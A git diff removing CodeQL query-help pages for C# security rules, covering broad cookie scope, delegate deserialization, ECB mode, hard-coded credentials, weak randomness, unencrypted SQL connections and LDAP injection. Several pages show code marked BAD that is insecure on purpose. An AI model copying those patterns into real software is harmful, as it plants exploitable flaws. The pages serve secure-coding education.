[CWE-350](https://cwe.mitre.org/data/definitions/350.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md b/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md deleted file mode 100644 index e4e5f072a3f..00000000000 --- a/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md +++ /dev/null @@ -1,55 +0,0 @@ -# Cookie security: overly broad domain - -``` -ID: cs/web/broad-cookie-domain -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-287 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CookieWithOverlyBroadDomain.ql) - -This rule finds cookies with an overly broad domain. Cookies with an overly broad domain, such as ".mybank.com", can be accessed by all web applications deployed on this domain and its sub-domains. A cookie with sensitive data, but with too broad a domain, could hence be read and tampered with by a less secure and untrusted application. - - -## Recommendation -Precisely define the domain of the web application for which this cookie is valid. - - -## Example -In this example `cookie1` is accessible from online-bank.com. `cookie2` is accessible from ebanking.online-bank.com and any subdomains of ebanking.online-bank.com. - - -```csharp -class CookieWithOverlyBroadDomain -{ - static public void AddCookie() - { - HttpCookie cookie1 = new HttpCookie("sessionID"); - cookie1.Domain = "online-bank.com"; - - HttpCookie cookie2 = new HttpCookie("sessionID"); - cookie2.Domain = ".ebanking.online-bank.com"; - } -} - -``` -In the following example `cookie` is only accessible from ebanking.online-bank.com which is much more secure. - - -```csharp -class CookieWithOverlyBroadDomainFix -{ - static public void AddCookie() - { - HttpCookie cookie = new HttpCookie("sessionID"); - cookie.Domain = "ebanking.online-bank.com"; - } -} - -``` - -## References -* MSDN: [HttpCookie.Domain Property](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.domain.aspx). -* Common Weakness Enumeration: [CWE-287](https://cwe.mitre.org/data/definitions/287.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md b/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md deleted file mode 100644 index f5c5ebf4066..00000000000 --- a/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md +++ /dev/null @@ -1,52 +0,0 @@ -# Cookie security: overly broad path - -``` -ID: cs/web/broad-cookie-path -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-287 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CookieWithOverlyBroadPath.ql) - -This rule finds cookies with an overly broad path. Cookies with an overly broad path, such as the root context path ("/"), can be accessed by all web applications on the same domain name. A cookie with sensitive data, but with too broad a path, could hence be read and tampered by a less secure and untrusted application. - - -## Recommendation -Precisely define the path of the web application for which this cookie is valid. - - -## Example -In this example the cookie will be accessible to all applications regardless of their path. Most likely some of these applications are less secure than others and do not even need to access the same cookies. - - -```csharp -class CookieWithOverlyBroadPath -{ - static public void AddCookie() - { - HttpCookie cookie = new HttpCookie("sessionID"); - cookie.Path = "/"; - } -} - -``` -In the following example the cookie is only accessible to the web application at the "/ebanking" path. - - -```csharp -class CookieWithOverlyBroadPathFix -{ - static public void AddCookie() - { - HttpCookie cookie = new HttpCookie("sessionID"); - cookie.Path = "/ebanking"; - } -} - -``` - -## References -* MSDN: [HttpCookie.Path Property](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.path.aspx). -* Common Weakness Enumeration: [CWE-287](https://cwe.mitre.org/data/definitions/287.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/DeserializedDelegate.md b/docs/language/query-help/csharp/DeserializedDelegate.md deleted file mode 100644 index 1192e1d9e07..00000000000 --- a/docs/language/query-help/csharp/DeserializedDelegate.md +++ /dev/null @@ -1,44 +0,0 @@ -# Deserialized delegate - -``` -ID: cs/deserialized-delegate -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-502 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-502/DeserializedDelegate.ql) - -Deserializing a delegate object may result in remote code execution, when an attacker can control the serialized data. - - -## Recommendation -Avoid deserializing delegate objects, if possible, or make sure that the serialized data cannot be controlled by an attacker. - - -## Example -In this example, a file stream is deserialized to a `Func` object, using a `BinaryFormatter`. The file stream is a parameter of a public method, so depending on the calls to `InvokeSerialized`, this may or may not pose a security problem. - - -```csharp -using System; -using System.IO; -using System.Runtime.Serialization.Formatters.Binary; - -class Bad -{ - public static int InvokeSerialized(FileStream fs) - { - var formatter = new BinaryFormatter(); - // BAD - var f = (Func)formatter.Deserialize(fs); - return f(); - } -} - -``` - -## References -* Microsoft: [BinaryFormatter Class](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter). -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md b/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md deleted file mode 100644 index 6acdeda8fe3..00000000000 --- a/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md +++ /dev/null @@ -1,22 +0,0 @@ -# Empty password in configuration file - -``` -ID: cs/empty-password-in-configuration -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-258 external/cwe/cwe-862 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Configuration/EmptyPasswordInConfigurationFile.ql) - -The use of an empty string as a password in a configuration file is not secure. - - -## Recommendation -Choose a proper password and encrypt it if you need to store it in the configuration file. - - -## References -* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html). -* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/Encryption using ECB.md b/docs/language/query-help/csharp/Encryption using ECB.md deleted file mode 100644 index 69104e226d9..00000000000 --- a/docs/language/query-help/csharp/Encryption using ECB.md +++ /dev/null @@ -1,22 +0,0 @@ -# Encryption using ECB - -``` -ID: cs/ecb-encryption -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/Encryption%20using%20ECB.ql) - -ECB should not be used as a mode for encryption. It has dangerous weaknesses. Data is encrypted the same way every time meaning the same plaintext input will always produce the same cyphertext. This makes encrypted messages vulnerable to replay attacks. - - -## Recommendation -Use a different CypherMode. - - -## References -* Wikipedia, Block cypher modes of operation, [Electronic codebook (ECB)](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExceptionInformationExposure.md b/docs/language/query-help/csharp/ExceptionInformationExposure.md deleted file mode 100644 index 51ea01dea38..00000000000 --- a/docs/language/query-help/csharp/ExceptionInformationExposure.md +++ /dev/null @@ -1,65 +0,0 @@ -# Information exposure through an exception - -``` -ID: cs/information-exposure-through-exception -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-209 external/cwe/cwe-497 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-209/ExceptionInformationExposure.ql) - -Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. - -Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. - - -## Recommendation -Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. - - -## Example -In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user by calling `ToString()`, and writing it to the response. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information. - - -```csharp -using System; -using System.Web; - -public class StackTraceHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - try - { - doSomeWork(); - } - catch (Exception ex) - { - // BAD: printing a stack trace back to the response - ctx.Response.Write(ex.ToString()); - return; - } - - try - { - doSomeWork(); - } - catch (Exception ex) - { - // GOOD: log the stack trace, and send back a non-revealing response - log("Exception occurred", ex); - ctx.Response.Write("Exception occurred"); - return; - } - } -} - -``` - -## References -* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). -* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). -* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExposureInTransmittedData.md b/docs/language/query-help/csharp/ExposureInTransmittedData.md deleted file mode 100644 index 5121bb86a7b..00000000000 --- a/docs/language/query-help/csharp/ExposureInTransmittedData.md +++ /dev/null @@ -1,66 +0,0 @@ -# Information exposure through transmitted data - -``` -ID: cs/sensitive-data-transmission -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-201 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-201/ExposureInTransmittedData.ql) - -Transmitting sensitive data to the user is a potential security risk. Always ensure that transmitted data is intended for the user. For example, passwords and the contents of database exceptions are generally not appropriate to send to the user, as they reveal information that could be abused or exploited. - - -## Recommendation -Avoid transmitting passwords or exceptions to the user. Instead, create a more user-friendly message that does not contain potentially sensitive information. Technical errors should be written to a log file. - - -## Example -The following example shows the user password being sent back to the user. - - -```csharp -public class Handler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - try - { - ... - } - catch (AuthenticationFailure ex) - { - ctx.Response.Write("Invalid password: " + password); - } - } -} - -``` -The following example shows a database exception being sent to the user. Exceptions can often contain unnecessary technical or sensitive information that should not be seen by the user. - - -```csharp -public class Handler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - try - { - ... - } - catch (DbException ex) - { - ctx.Response.Write("Database error: " + ex.Message); - } - } -} - -``` - -## References -* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure). -* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExposureOfPrivateInformation.md b/docs/language/query-help/csharp/ExposureOfPrivateInformation.md deleted file mode 100644 index 0415e8b7fc4..00000000000 --- a/docs/language/query-help/csharp/ExposureOfPrivateInformation.md +++ /dev/null @@ -1,44 +0,0 @@ -# Exposure of private information - -``` -ID: cs/exposure-of-sensitive-information -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-359/ExposureOfPrivateInformation.ql) - -Private information that is stored in an external location may be more vulnerable because that location may not be protected by the same access controls as other parts of the system. - -Examples include log files, cookies and plain text storage on disk. - - -## Recommendation -Ensure that private information is only stored in secure data locations. - - -## Example -The following example shows some private data - an address - being passed to a HTTP handler. This private information is then stored in a log file. This log file on disk may be accessible to users that do not normally have access to this private data. - - -```csharp -using System.Text; -using System.Web; -using System.Web.Security; - -public class PrivateInformationHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string address = ctx.Request.QueryString["Address1"]; - logger.Info("User has address: " + address); - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HardcodedConnectionString.md b/docs/language/query-help/csharp/HardcodedConnectionString.md deleted file mode 100644 index 428b6e87a5d..00000000000 --- a/docs/language/query-help/csharp/HardcodedConnectionString.md +++ /dev/null @@ -1,78 +0,0 @@ -# Hard-coded connection string with credentials - -``` -ID: cs/hardcoded-connection-string-credentials -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-798/HardcodedConnectionString.ql) - -Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. - -Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. For applications shipped as binaries, the credentials may be accessible within the compiled assemblies. - -For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - -For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. - -For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, Microsoft provide the class `Microsoft.AspNet.Identity.PasswordHasher`. - - -## Example -The following examples shows different types of inbound and outbound authentication. - -In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code, or the assemblies, they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be recompiled in order to change the password. - -In the second case, the password is compared to a hashed and salted password stored in a configuration file, using the Microsoft provided `PasswordHasher.VerifyHashedPassword`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. - -In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. - - -```csharp -using Microsoft.AspNet.Identity; -using System; -using System.Web; -using System.Web.Security; - -public class HardCodedCredentialHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string password = ctx.Request.QueryString["password"]; - - // BAD: Inbound authentication made by comparison to string literal - if (password == "myPa55word") - { - ctx.Response.Redirect("login"); - } - - string hashedPassword = loadPasswordFromSecretConfig(); - - // GOOD: Inbound authentication made by comparing to a hash password from a config - if (PasswordHasher.VerifyHashedPassword(hashedPassword, password)) - { - ctx.Response.Redirect(VALID_REDIRECT); - } - - // BAD: Set the password to a hardcoded string literal - MembershipUser user = loadMembershipUser(); - user.ChangePassword(password, "myNewPa55word"); - } -} - -``` - -## References -* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HardcodedCredentials.md b/docs/language/query-help/csharp/HardcodedCredentials.md deleted file mode 100644 index 03749e80ba1..00000000000 --- a/docs/language/query-help/csharp/HardcodedCredentials.md +++ /dev/null @@ -1,78 +0,0 @@ -# Hard-coded credentials - -``` -ID: cs/hardcoded-credentials -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-798/HardcodedCredentials.ql) - -Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. - -Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. For applications shipped as binaries, the credentials may be accessible within the compiled assemblies. - -For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - -For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. - -For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, Microsoft provide the class `Microsoft.AspNet.Identity.PasswordHasher`. - - -## Example -The following examples shows different types of inbound and outbound authentication. - -In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code, or the assemblies, they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be recompiled in order to change the password. - -In the second case, the password is compared to a hashed and salted password stored in a configuration file, using the Microsoft provided `PasswordHasher.VerifyHashedPassword`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. - -In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. - - -```csharp -using Microsoft.AspNet.Identity; -using System; -using System.Web; -using System.Web.Security; - -public class HardCodedCredentialHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string password = ctx.Request.QueryString["password"]; - - // BAD: Inbound authentication made by comparison to string literal - if (password == "myPa55word") - { - ctx.Response.Redirect("login"); - } - - string hashedPassword = loadPasswordFromSecretConfig(); - - // GOOD: Inbound authentication made by comparing to a hash password from a config - if (PasswordHasher.VerifyHashedPassword(hashedPassword, password)) - { - ctx.Response.Redirect(VALID_REDIRECT); - } - - // BAD: Set the password to a hardcoded string literal - MembershipUser user = loadMembershipUser(); - user.ChangePassword(password, "myNewPa55word"); - } -} - -``` - -## References -* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HeaderCheckingDisabled.md b/docs/language/query-help/csharp/HeaderCheckingDisabled.md deleted file mode 100644 index 97e2ab9e02f..00000000000 --- a/docs/language/query-help/csharp/HeaderCheckingDisabled.md +++ /dev/null @@ -1,22 +0,0 @@ -# Header checking disabled - -``` -ID: cs/web/disabled-header-checking -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-113 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/HeaderCheckingDisabled.ql) - -This rule finds places in the code where header checking is disabled. When header checking is enabled, which is the default, the `\r` or `\n` characters found in a response header are encoded to `%0d` and `%0a`. This defeats header-injection attacks by making the injected material part of the same header line. If you disable header checking, you open potential attack vectors against your client code. - - -## Recommendation -Do not disable header checking. - - -## References -* MSDN. [HttpRuntimeSection.EnableHeaderChecking Property](http://msdn.microsoft.com/en-us/library/system.web.configuration.httpruntimesection.enableheaderchecking.aspx). -* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InadequateRSAPadding.md b/docs/language/query-help/csharp/InadequateRSAPadding.md deleted file mode 100644 index d87224670ee..00000000000 --- a/docs/language/query-help/csharp/InadequateRSAPadding.md +++ /dev/null @@ -1,23 +0,0 @@ -# Weak encryption: inadequate RSA padding - -``` -ID: cs/inadequate-rsa-padding -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 external/cwe/cwe-780 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InadequateRSAPadding.ql) - -This query finds uses of RSA encryption without secure padding. Using PKCS#1 v1.5 padding can open up your application to several different attacks resulting in the exposure of the encryption key or the ability to determine plaintext from encrypted messages. - - -## Recommendation -Use the more secure PKCS#1 v2 (OAEP) padding. - - -## References -* Wikipedia. [RSA. Padding Schemes](http://en.wikipedia.org/wiki/RSA_(algorithm)#Padding_schemes). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). -* Common Weakness Enumeration: [CWE-780](https://cwe.mitre.org/data/definitions/780.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsecureRandomness.md b/docs/language/query-help/csharp/InsecureRandomness.md deleted file mode 100644 index 78e0583e461..00000000000 --- a/docs/language/query-help/csharp/InsecureRandomness.md +++ /dev/null @@ -1,66 +0,0 @@ -# Insecure randomness - -``` -ID: cs/insecure-randomness -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-338 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InsecureRandomness.ql) - -Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value. - -Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations. - - -## Recommendation -Use a cryptographically secure pseudo-random number generator if the output is to be used in a security sensitive context. As a rule of thumb, a value should be considered "security sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user. - -For C#, `RNGCryptoServiceProvider` provides a cryptographically secure pseudo-random number generator. `Random` is not cryptographically secure, and should be avoided in security contexts. For contexts which are not security sensitive, `Random` may be preferable as it has a more convenient interface, and is likely to be faster. - -For the specific use-case of generating passwords, consider `System.Web.Security.Membership.GeneratePassword`, which provides a cryptographically secure method of generating random passwords. - - -## Example -The following examples show different ways of generating a password. - -In the first case, we generate a fresh password by appending a random integer to the end of a static string. The random number generator used (`Random`) is not cryptographically secure, so it may be possible for an attacker to predict the generated password. - -In the second example, a cryptographically secure random number generator is used for the same purpose. In this case, it is much harder to predict the generated integers. - -In the final example, the password is generated using the `Membership.GeneratePassword` library method, which uses a cryptographically secure random number generator to generate a random series of characters. This method should be preferred when generating passwords, if possible, as it avoids potential pitfalls when converting the output of a random number generator (usually an int or a byte) to a series of permitted characters. - - -```csharp -using System.Security.Cryptography; -using System.Web.Security; - -string GeneratePassword() -{ - // BAD: Password is generated using a cryptographically insecure RNG - Random gen = new Random(); - string password = "mypassword" + gen.Next(); - - // GOOD: Password is generated using a cryptographically secure RNG - using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider()) - { - byte[] randomBytes = new byte[sizeof(int)]; - crypto.GetBytes(randomBytes); - password = "mypassword" + BitConverter.ToInt32(randomBytes); - } - - // GOOD: Password is generated using a cryptographically secure RNG - password = Membership.GeneratePassword(12, 3); - - return password; -} - -``` - -## References -* Wikipedia. [Pseudo-random number generator](http://en.wikipedia.org/wiki/Pseudorandom_number_generator). -* MSDN. [RandomNumberGenerator](http://msdn.microsoft.com/en-us/library/system.security.cryptography.randomnumbergenerator.aspx). -* MSDN. [Membership.GeneratePassword](https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.110).aspx). -* Common Weakness Enumeration: [CWE-338](https://cwe.mitre.org/data/definitions/338.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsecureSQLConnection.md b/docs/language/query-help/csharp/InsecureSQLConnection.md deleted file mode 100644 index c2db3302f06..00000000000 --- a/docs/language/query-help/csharp/InsecureSQLConnection.md +++ /dev/null @@ -1,50 +0,0 @@ -# Insecure SQL connection - -``` -ID: cs/insecure-sql-connection -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-327/InsecureSQLConnection.ql) - -SQL Server connections where the client is not enforcing the encryption in transit are susceptible to multiple attacks, including a man-in-the-middle, that would potentially compromise the user credentials and/or the TDS session. - - -## Recommendation -Ensure that the client code enforces the `Encrypt` option by setting it to `true` in the connection string. - - -## Example -The following example shows a SQL connection string that is not explicitly enabling the `Encrypt` setting to force encryption. - - -```csharp -using System.Data.SqlClient; - -// BAD, Encrypt not specified -string connectString = - "Server=1.2.3.4;Database=Anything;Integrated Security=true;"; -SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); -var conn = new SqlConnection(builder.ConnectionString); -``` -The following example shows a SQL connection string that is explicitly enabling the `Encrypt` setting to force encryption in transit. - - -```csharp -using System.Data.SqlClient; - -string connectString = - "Server=1.2.3.4;Database=Anything;Integrated Security=true;;Encrypt=true;"; -SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(connectString); -var conn = new SqlConnection(builder.ConnectionString); -``` - -## References -* Microsoft, SQL Protocols blog: [Selectively using secure connection to SQL Server](https://blogs.msdn.microsoft.com/sql_protocols/2009/10/19/selectively-using-secure-connection-to-sql-server/). -* Microsoft: [SqlConnection.ConnectionString Property](https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnection.connectionstring(v=vs.110).aspx). -* Microsoft: [Using Connection String Keywords with SQL Server Native Client](https://msdn.microsoft.com/en-us/library/ms130822.aspx). -* Microsoft: [Setting the connection properties](https://msdn.microsoft.com/en-us/library/ms378988(v=sql.110).aspx). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/InsufficientKeySize.md b/docs/language/query-help/csharp/InsufficientKeySize.md deleted file mode 100644 index cdbfb71535b..00000000000 --- a/docs/language/query-help/csharp/InsufficientKeySize.md +++ /dev/null @@ -1,22 +0,0 @@ -# Weak encryption: Insufficient key size - -``` -ID: cs/insufficient-key-size -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/InsufficientKeySize.ql) - -This rule finds uses of encryption algorithms with too small a key size. Encryption algorithms are vulnerable to brute force attack when too small a key size is used. - - -## Recommendation -The key should be at least 1024-bit long when using RSA encryption, and 128-bit long when using symmetric encryption. - - -## References -* Wikipedia. [Key size](http://en.wikipedia.org/wiki/Key_size). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LDAPInjection.md b/docs/language/query-help/csharp/LDAPInjection.md deleted file mode 100644 index 007c0a60d40..00000000000 --- a/docs/language/query-help/csharp/LDAPInjection.md +++ /dev/null @@ -1,85 +0,0 @@ -# LDAP query built from user-controlled sources - -``` -ID: cs/ldap-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-090 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-090/LDAPInjection.ql) - -If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. - - -## Recommendation -If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible, use an existing library, such as the AntiXSS library. - - -## Example -In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP to access a "type" property. - -The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. - -The second example uses the Microsoft AntiXSS library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. - - -```csharp -using Microsoft.Security.Application.Encoder -using System; -using System.DirectoryServices; -using System.Web; - -public class LDAPInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["username"]; - string organizationName = ctx.Request.QueryString["organization_name"]; - // BAD: User input used in DN (Distinguished Name) without encoding - string ldapQuery = "LDAP://myserver/OU=People,O=" + organizationName; - using (DirectoryEntry root = new DirectoryEntry(ldapQuery)) - { - // BAD: User input used in search filter without encoding - DirectorySearcher ds = new DirectorySearcher(root, "username=" + userName); - - SearchResult result = ds.FindOne(); - if (result != null) - { - using (DirectoryEntry user = result.getDirectoryEntry()) - { - ctx.Response.Write(user.Properties["type"].Value) - } - } - } - - // GOOD: Organization name is encoded before being used in DN - string safeOrganizationName = Encoder.LdapDistinguishedNameEncode(organizationName); - string safeLDAPQuery = "LDAP://myserver/OU=People,O=" + safeOrganizationName; - using (DirectoryEntry root = new DirectoryEntry(safeLDAPQuery)) - { - // GOOD: User input is encoded before being used in search filter - string safeUserName = Encoder.LdapFilterEncode(userName); - DirectorySearcher ds = new DirectorySearcher(root, "username=" + safeUserName); - - SearchResult result = ds.FindOne(); - if (result != null) - { - using (DirectoryEntry user = result.getDirectoryEntry()) - { - ctx.Response.Write(user.Properties["type"].Value) - } - } - } - } -} - -``` - -## References -* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). -* OWASP: [Preventing LDAP Injection in Java](https://www.owasp.org/index.php/Preventing_LDAP_Injection_in_Java). -* AntiXSS doc: [LdapFilterEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapFilterEncode). -* AntiXSS 